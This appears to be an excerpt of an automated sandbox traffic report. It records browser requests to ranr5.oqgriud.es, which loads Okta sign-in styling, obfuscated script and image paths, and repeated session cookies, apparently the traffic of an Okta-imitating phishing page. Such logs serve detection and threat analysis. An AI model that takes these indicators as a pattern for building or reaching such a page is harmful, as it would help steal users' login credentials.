laravel_session=eyJpdiI6InM1V29Cc09aVmRPdExaRGlrL2h2RWc9PSIsInZhbHVlIjoiNDViWWJ2T1E5Q3lCVGlscXhqYWEyODdlR1NPK3VUTDA1WUNKdTZDamxZa3ZvNXhvelExTFZLOFlyREh4aHhFKzNkRWxwTHVLRnBtc0JtRnN4R3I3Z2pHa3NhcUdHeWZUeEhQWkVoNFFyVnNyOVBwb3cxenN0MFhRYTZtdFlRSGciLCJtYWMiOiJhYjM1YWEzMTY4NjhjNDdjNGVlMGZlNWVmY2EzMDQxN2ZkNWFkOWQ4NmZhMjZiZTFiMGQxY2EwZDhjYTVmYTY1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-bold.woff HTTP/1.1Host: ranr5.oqgriud.esConnection: keep-aliveOrigin: https://ranr5.oqgriud.essec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ranr5.oqgriud.es/kpnfcgqeannceoyaqveobxvqrukuurgoafkvmcfzmjcktvelnD7CQO0H5R4DTVH677V?CJEWAGQLYHHLXVEBPAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjF4N05zSk9BUEJGUHo5bVlqeFFpcWc9PSIsInZhbHVlIjoiMnBZWlJ2L1RkejNnK3dnelM5ejNTWmtqYStHQTB1RFRsV0x5QmZaRlNScWNoS2NTU25kVmhibHRjUFhBN2dEd1d5NXJ5VGVQZzdBYlhSR002TVVHbjhUYThCMXhBMDViWW94L1oxa2QwRHVtNWlYYlJYaHV3RlhyditZbVJOd2ciLCJtYWMiOiJkMzg2YjVhYTRmNTNmM2YzZWI3NTAxN2ZjYjYxYzQ3Yzg5MGM5NTc3NTg4ZmFlNmM0YTViNmNhMmRhZDUxOGIwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InM1V29Cc09aVmRPdExaRGlrL2h2RWc9PSIsInZhbHVlIjoiNDViWWJ2T1E5Q3lCVGlscXhqYWEyODdlR1NPK3VUTDA1WUNKdTZDamxZa3ZvNXhvelExTFZLOFlyREh4aHhFKzNkRWxwTHVLRnBtc0JtRnN4R3I3Z2pHa3NhcUdHeWZUeEhQWkVoNFFyVnNyOVBwb3cxenN0MFhRYTZtdFlRSGciLCJtYWMiOiJhYjM1YWEzMTY4NjhjNDdjNGVlMGZlNWVmY2EzMDQxN2ZkNWFkOWQ4NmZhMjZiZTFiMGQxY2EwZDhjYTVmYTY1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://ranr5.oqgriud.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://ranr5.oqgriud.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fent/randexp.js/releases/download/v0.4.3/randexp.min.js HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://ranr5.oqgriud.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /GDSherpa-regular.woff2 HTTP/1.1Host: ranr5.oqgriud.esConnection: keep-aliveOrigin: https://ranr5.oqgriud.essec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ranr5.oqgriud.es/kpnfcgqeannceoyaqveobxvqrukuurgoafkvmcfzmjcktvelnD7CQO0H5R4DTVH677V?CJEWAGQLYHHLXVEBPAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjF4N05zSk9BUEJGUHo5bVlqeFFpcWc9PSIsInZhbHVlIjoiMnBZWlJ2L1RkejNnK3dnelM5ejNTWmtqYStHQTB1RFRsV0x5QmZaRlNScWNoS2NTU25kVmhibHRjUFhBN2dEd1d5NXJ5VGVQZzdBYlhSR002TVVHbjhUYThCMXhBMDViWW94L1oxa2QwRHVtNWlYYlJYaHV3RlhyditZbVJOd2ciLCJtYWMiOiJkMzg2YjVhYTRmNTNmM2YzZWI3NTAxN2ZjYjYxYzQ3Yzg5MGM5NTc3NTg4ZmFlNmM0YTViNmNhMmRhZDUxOGIwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InM1V29Cc09aVmRPdExaRGlrL2h2RWc9PSIsInZhbHVlIjoiNDViWWJ2T1E5Q3lCVGlscXhqYWEyODdlR1NPK3VUTDA1WUNKdTZDamxZa3ZvNXhvelExTFZLOFlyREh4aHhFKzNkRWxwTHVLRnBtc0JtRnN4R3I3Z2pHa3NhcUdHeWZUeEhQWkVoNFFyVnNyOVBwb3cxenN0MFhRYTZtdFlRSGciLCJtYWMiOiJhYjM1YWEzMTY4NjhjNDdjNGVlMGZlNWVmY2EzMDQxN2ZkNWFkOWQ4NmZhMjZiZTFiMGQxY2EwZDhjYTVmYTY1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-regular.woff HTTP/1.1Host: ranr5.oqgriud.esConnection: keep-aliveOrigin: https://ranr5.oqgriud.essec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ranr5.oqgriud.es/kpnfcgqeannceoyaqveobxvqrukuurgoafkvmcfzmjcktvelnD7CQO0H5R4DTVH677V?CJEWAGQLYHHLXVEBPAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjF4N05zSk9BUEJGUHo5bVlqeFFpcWc9PSIsInZhbHVlIjoiMnBZWlJ2L1RkejNnK3dnelM5ejNTWmtqYStHQTB1RFRsV0x5QmZaRlNScWNoS2NTU25kVmhibHRjUFhBN2dEd1d5NXJ5VGVQZzdBYlhSR002TVVHbjhUYThCMXhBMDViWW94L1oxa2QwRHVtNWlYYlJYaHV3RlhyditZbVJOd2ciLCJtYWMiOiJkMzg2YjVhYTRmNTNmM2YzZWI3NTAxN2ZjYjYxYzQ3Yzg5MGM5NTc3NTg4ZmFlNmM0YTViNmNhMmRhZDUxOGIwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InM1V29Cc09aVmRPdExaRGlrL2h2RWc9PSIsInZhbHVlIjoiNDViWWJ2T1E5Q3lCVGlscXhqYWEyODdlR1NPK3VUTDA1WUNKdTZDamxZa3ZvNXhvelExTFZLOFlyREh4aHhFKzNkRWxwTHVLRnBtc0JtRnN4R3I3Z2pHa3NhcUdHeWZUeEhQWkVoNFFyVnNyOVBwb3cxenN0MFhRYTZtdFlRSGciLCJtYWMiOiJhYjM1YWEzMTY4NjhjNDdjNGVlMGZlNWVmY2EzMDQxN2ZkNWFkOWQ4NmZhMjZiZTFiMGQxY2EwZDhjYTVmYTY1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-vf.woff2 HTTP/1.1Host: ranr5.oqgriud.esConnection: keep-aliveOrigin: https://ranr5.oqgriud.essec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ranr5.oqgriud.es/kpnfcgqeannceoyaqveobxvqrukuurgoafkvmcfzmjcktvelnD7CQO0H5R4DTVH677V?CJEWAGQLYHHLXVEBPAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjF4N05zSk9BUEJGUHo5bVlqeFFpcWc9PSIsInZhbHVlIjoiMnBZWlJ2L1RkejNnK3dnelM5ejNTWmtqYStHQTB1RFRsV0x5QmZaRlNScWNoS2NTU25kVmhibHRjUFhBN2dEd1d5NXJ5VGVQZzdBYlhSR002TVVHbjhUYThCMXhBMDViWW94L1oxa2QwRHVtNWlYYlJYaHV3RlhyditZbVJOd2ciLCJtYWMiOiJkMzg2YjVhYTRmNTNmM2YzZWI3NTAxN2ZjYjYxYzQ3Yzg5MGM5NTc3NTg4ZmFlNmM0YTViNmNhMmRhZDUxOGIwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InM1V29Cc09aVmRPdExaRGlrL2h2RWc9PSIsInZhbHVlIjoiNDViWWJ2T1E5Q3lCVGlscXhqYWEyODdlR1NPK3VUTDA1WUNKdTZDamxZa3ZvNXhvelExTFZLOFlyREh4aHhFKzNkRWxwTHVLRnBtc0JtRnN4R3I3Z2pHa3NhcUdHeWZUeEhQWkVoNFFyVnNyOVBwb3cxenN0MFhRYTZtdFlRSGciLCJtYWMiOiJhYjM1YWEzMTY4NjhjNDdjNGVlMGZlNWVmY2EzMDQxN2ZkNWFkOWQ4NmZhMjZiZTFiMGQxY2EwZDhjYTVmYTY1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-vf2.woff2 HTTP/1.1Host: ranr5.oqgriud.esConnection: keep-aliveOrigin: https://ranr5.oqgriud.essec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ranr5.oqgriud.es/kpnfcgqeannceoyaqveobxvqrukuurgoafkvmcfzmjcktvelnD7CQO0H5R4DTVH677V?CJEWAGQLYHHLXVEBPAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjF4N05zSk9BUEJGUHo5bVlqeFFpcWc9PSIsInZhbHVlIjoiMnBZWlJ2L1RkejNnK3dnelM5ejNTWmtqYStHQTB1RFRsV0x5QmZaRlNScWNoS2NTU25kVmhibHRjUFhBN2dEd1d5NXJ5VGVQZzdBYlhSR002TVVHbjhUYThCMXhBMDViWW94L1oxa2QwRHVtNWlYYlJYaHV3RlhyditZbVJOd2ciLCJtYWMiOiJkMzg2YjVhYTRmNTNmM2YzZWI3NTAxN2ZjYjYxYzQ3Yzg5MGM5NTc3NTg4ZmFlNmM0YTViNmNhMmRhZDUxOGIwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InM1V29Cc09aVmRPdExaRGlrL2h2RWc9PSIsInZhbHVlIjoiNDViWWJ2T1E5Q3lCVGlscXhqYWEyODdlR1NPK3VUTDA1WUNKdTZDamxZa3ZvNXhvelExTFZLOFlyREh4aHhFKzNkRWxwTHVLRnBtc0JtRnN4R3I3Z2pHa3NhcUdHeWZUeEhQWkVoNFFyVnNyOVBwb3cxenN0MFhRYTZtdFlRSGciLCJtYWMiOiJhYjM1YWEzMTY4NjhjNDdjNGVlMGZlNWVmY2EzMDQxN2ZkNWFkOWQ4NmZhMjZiZTFiMGQxY2EwZDhjYTVmYTY1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250422%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250422T180904Z&X-Amz-Expires=300&X-Amz-Signature=a82a505a9f34967dc544a4fc1f87ade5f70f7d1bd9d556b9ec4634959bc0992e&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream HTTP/1.1Host: objects.githubusercontent.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://ranr5.oqgriud.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /342AK1W0a0NgfMKS7yiaNmzYklHnpNOhkO289104 HTTP/1.1Host: ranr5.oqgriud.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ranr5.oqgriud.es/kpnfcgqeannceoyaqveobxvqrukuurgoafkvmcfzmjcktvelnD7CQO0H5R4DTVH677V?CJEWAGQLYHHLXVEBPAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjF4N05zSk9BUEJGUHo5bVlqeFFpcWc9PSIsInZhbHVlIjoiMnBZWlJ2L1RkejNnK3dnelM5ejNTWmtqYStHQTB1RFRsV0x5QmZaRlNScWNoS2NTU25kVmhibHRjUFhBN2dEd1d5NXJ5VGVQZzdBYlhSR002TVVHbjhUYThCMXhBMDViWW94L1oxa2QwRHVtNWlYYlJYaHV3RlhyditZbVJOd2ciLCJtYWMiOiJkMzg2YjVhYTRmNTNmM2YzZWI3NTAxN2ZjYjYxYzQ3Yzg5MGM5NTc3NTg4ZmFlNmM0YTViNmNhMmRhZDUxOGIwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InM1V29Cc09aVmRPdExaRGlrL2h2RWc9PSIsInZhbHVlIjoiNDViWWJ2T1E5Q3lCVGlscXhqYWEyODdlR1NPK3VUTDA1WUNKdTZDamxZa3ZvNXhvelExTFZLOFlyREh4aHhFKzNkRWxwTHVLRnBtc0JtRnN4R3I3Z2pHa3NhcUdHeWZUeEhQWkVoNFFyVnNyOVBwb3cxenN0MFhRYTZtdFlRSGciLCJtYWMiOiJhYjM1YWEzMTY4NjhjNDdjNGVlMGZlNWVmY2EzMDQxN2ZkNWFkOWQ4NmZhMjZiZTFiMGQxY2EwZDhjYTVmYTY1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rsuQIbd6urxwgN1WWB9pdUvvBlwNqZjigjsk0QlimudDoAGyzlTTHcohq0U9DbQ385k17uDmwAG97qqdY6pXEeDB9kkl350 HTTP/1.1Host: ranr5.oqgriud.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ranr5.oqgriud.es/kpnfcgqeannceoyaqveobxvqrukuurgoafkvmcfzmjcktvelnD7CQO0H5R4DTVH677V?CJEWAGQLYHHLXVEBPAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjF4N05zSk9BUEJGUHo5bVlqeFFpcWc9PSIsInZhbHVlIjoiMnBZWlJ2L1RkejNnK3dnelM5ejNTWmtqYStHQTB1RFRsV0x5QmZaRlNScWNoS2NTU25kVmhibHRjUFhBN2dEd1d5NXJ5VGVQZzdBYlhSR002TVVHbjhUYThCMXhBMDViWW94L1oxa2QwRHVtNWlYYlJYaHV3RlhyditZbVJOd2ciLCJtYWMiOiJkMzg2YjVhYTRmNTNmM2YzZWI3NTAxN2ZjYjYxYzQ3Yzg5MGM5NTc3NTg4ZmFlNmM0YTViNmNhMmRhZDUxOGIwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InM1V29Cc09aVmRPdExaRGlrL2h2RWc9PSIsInZhbHVlIjoiNDViWWJ2T1E5Q3lCVGlscXhqYWEyODdlR1NPK3VUTDA1WUNKdTZDamxZa3ZvNXhvelExTFZLOFlyREh4aHhFKzNkRWxwTHVLRnBtc0JtRnN4R3I3Z2pHa3NhcUdHeWZUeEhQWkVoNFFyVnNyOVBwb3cxenN0MFhRYTZtdFlRSGciLCJtYWMiOiJhYjM1YWEzMTY4NjhjNDdjNGVlMGZlNWVmY2EzMDQxN2ZkNWFkOWQ4NmZhMjZiZTFiMGQxY2EwZDhjYTVmYTY1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mnW6ax7zUB7JKxnxsqoYba3bEJXUHkaugjRSkLLb83RTpSwefyWXfGqe6G7wTrPhUrnsIYwrzpLYSCVJgE78TPzSCapMj3auv324 HTTP/1.1Host: ranr5.oqgriud.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ranr5.oqgriud.es/kpnfcgqeannceoyaqveobxvqrukuurgoafkvmcfzmjcktvelnD7CQO0H5R4DTVH677V?CJEWAGQLYHHLXVEBPAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjF4N05zSk9BUEJGUHo5bVlqeFFpcWc9PSIsInZhbHVlIjoiMnBZWlJ2L1RkejNnK3dnelM5ejNTWmtqYStHQTB1RFRsV0x5QmZaRlNScWNoS2NTU25kVmhibHRjUFhBN2dEd1d5NXJ5VGVQZzdBYlhSR002TVVHbjhUYThCMXhBMDViWW94L1oxa2QwRHVtNWlYYlJYaHV3RlhyditZbVJOd2ciLCJtYWMiOiJkMzg2YjVhYTRmNTNmM2YzZWI3NTAxN2ZjYjYxYzQ3Yzg5MGM5NTc3NTg4ZmFlNmM0YTViNmNhMmRhZDUxOGIwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InM1V29Cc09aVmRPdExaRGlrL2h2RWc9PSIsInZhbHVlIjoiNDViWWJ2T1E5Q3lCVGlscXhqYWEyODdlR1NPK3VUTDA1WUNKdTZDamxZa3ZvNXhvelExTFZLOFlyREh4aHhFKzNkRWxwTHVLRnBtc0JtRnN4R3I3Z2pHa3NhcUdHeWZUeEhQWkVoNFFyVnNyOVBwb3cxenN0MFhRYTZtdFlRSGciLCJtYWMiOiJhYjM1YWEzMTY4NjhjNDdjNGVlMGZlNWVmY2EzMDQxN2ZkNWFkOWQ4NmZhMjZiZTFiMGQxY2EwZDhjYTVmYTY1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wxuI9sQfu2BQZgE7cvtbW1rYfMNNEL8qrHcNP5runFbkRnbfYU34124 HTTP/1.1Host: ranr5.oqgriud.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ranr5.oqgriud.es/kpnfcgqeannceoyaqveobxvqrukuurgoafkvmcfzmjcktvelnD7CQO0H5R4DTVH677V?CJEWAGQLYHHLXVEBPAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjF4N05zSk9BUEJGUHo5bVlqeFFpcWc9PSIsInZhbHVlIjoiMnBZWlJ2L1RkejNnK3dnelM5ejNTWmtqYStHQTB1RFRsV0x5QmZaRlNScWNoS2NTU25kVmhibHRjUFhBN2dEd1d5NXJ5VGVQZzdBYlhSR002TVVHbjhUYThCMXhBMDViWW94L1oxa2QwRHVtNWlYYlJYaHV3RlhyditZbVJOd2ciLCJtYWMiOiJkMzg2YjVhYTRmNTNmM2YzZWI3NTAxN2ZjYjYxYzQ3Yzg5MGM5NTc3NTg4ZmFlNmM0YTViNmNhMmRhZDUxOGIwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InM1V29Cc09aVmRPdExaRGlrL2h2RWc9PSIsInZhbHVlIjoiNDViWWJ2T1E5Q3lCVGlscXhqYWEyODdlR1NPK3VUTDA1WUNKdTZDamxZa3ZvNXhvelExTFZLOFlyREh4aHhFKzNkRWxwTHVLRnBtc0JtRnN4R3I3Z2pHa3NhcUdHeWZUeEhQWkVoNFFyVnNyOVBwb3cxenN0MFhRYTZtdFlRSGciLCJtYWMiOiJhYjM1YWEzMTY4NjhjNDdjNGVlMGZlNWVmY2EzMDQxN2ZkNWFkOWQ4NmZhMjZiZTFiMGQxY2EwZDhjYTVmYTY1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qrNylf5N5Aju3ioV5ZGrth8jHaxKBefC8JeuwjuJ6E1yJVparC45137 HTTP/1.1Host: ranr5.oqgriud.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ranr5.oqgriud.es/kpnfcgqeannceoyaqveobxvqrukuurgoafkvmcfzmjcktvelnD7CQO0H5R4DTVH677V?CJEWAGQLYHHLXVEBPAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjF4N05zSk9BUEJGUHo5bVlqeFFpcWc9PSIsInZhbHVlIjoiMnBZWlJ2L1RkejNnK3dnelM5ejNTWmtqYStHQTB1RFRsV0x5QmZaRlNScWNoS2NTU25kVmhibHRjUFhBN2dEd1d5NXJ5VGVQZzdBYlhSR002TVVHbjhUYThCMXhBMDViWW94L1oxa2QwRHVtNWlYYlJYaHV3RlhyditZbVJOd2ciLCJtYWMiOiJkMzg2YjVhYTRmNTNmM2YzZWI3NTAxN2ZjYjYxYzQ3Yzg5MGM5NTc3NTg4ZmFlNmM0YTViNmNhMmRhZDUxOGIwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InM1V29Cc09aVmRPdExaRGlrL2h2RWc9PSIsInZhbHVlIjoiNDViWWJ2T1E5Q3lCVGlscXhqYWEyODdlR1NPK3VUTDA1WUNKdTZDamxZa3ZvNXhvelExTFZLOFlyREh4aHhFKzNkRWxwTHVLRnBtc0JtRnN4R3I3Z2pHa3NhcUdHeWZUeEhQWkVoNFFyVnNyOVBwb3cxenN0MFhRYTZtdFlRSGciLCJtYWMiOiJhYjM1YWEzMTY4NjhjNDdjNGVlMGZlNWVmY2EzMDQxN2ZkNWFkOWQ4NmZhMjZiZTFiMGQxY2EwZDhjYTVmYTY1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mn3rWz2HxP6hqoQmlder9orhJOa2klqlH1PdrO1Za5r4KV78150 HTTP/1.1Host: ranr5.oqgriud.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ranr5.oqgriud.es/kpnfcgqeannceoyaqveobxvqrukuurgoafkvmcfzmjcktvelnD7CQO0H5R4DTVH677V?CJEWAGQLYHHLXVEBPAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjF4N05zSk9BUEJGUHo5bVlqeFFpcWc9PSIsInZhbHVlIjoiMnBZWlJ2L1RkejNnK3dnelM5ejNTWmtqYStHQTB1RFRsV0x5QmZaRlNScWNoS2NTU25kVmhibHRjUFhBN2dEd1d5NXJ5VGVQZzdBYlhSR002TVVHbjhUYThCMXhBMDViWW94L1oxa2QwRHVtNWlYYlJYaHV3RlhyditZbVJOd2ciLCJtYWMiOiJkMzg2YjVhYTRmNTNmM2YzZWI3NTAxN2ZjYjYxYzQ3Yzg5MGM5NTc3NTg4ZmFlNmM0YTViNmNhMmRhZDUxOGIwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InM1V29Cc09aVmRPdExaRGlrL2h2RWc9PSIsInZhbHVlIjoiNDViWWJ2T1E5Q3lCVGlscXhqYWEyODdlR1NPK3VUTDA1WUNKdTZDamxZa3ZvNXhvelExTFZLOFlyREh4aHhFKzNkRWxwTHVLRnBtc0JtRnN4R3I3Z2pHa3NhcUdHeWZUeEhQWkVoNFFyVnNyOVBwb3cxenN0MFhRYTZtdFlRSGciLCJtYWMiOiJhYjM1YWEzMTY4NjhjNDdjNGVlMGZlNWVmY2EzMDQxN2ZkNWFkOWQ4NmZhMjZiZTFiMGQxY2EwZDhjYTVmYTY1IiwidGFnIjoiIn0%3D
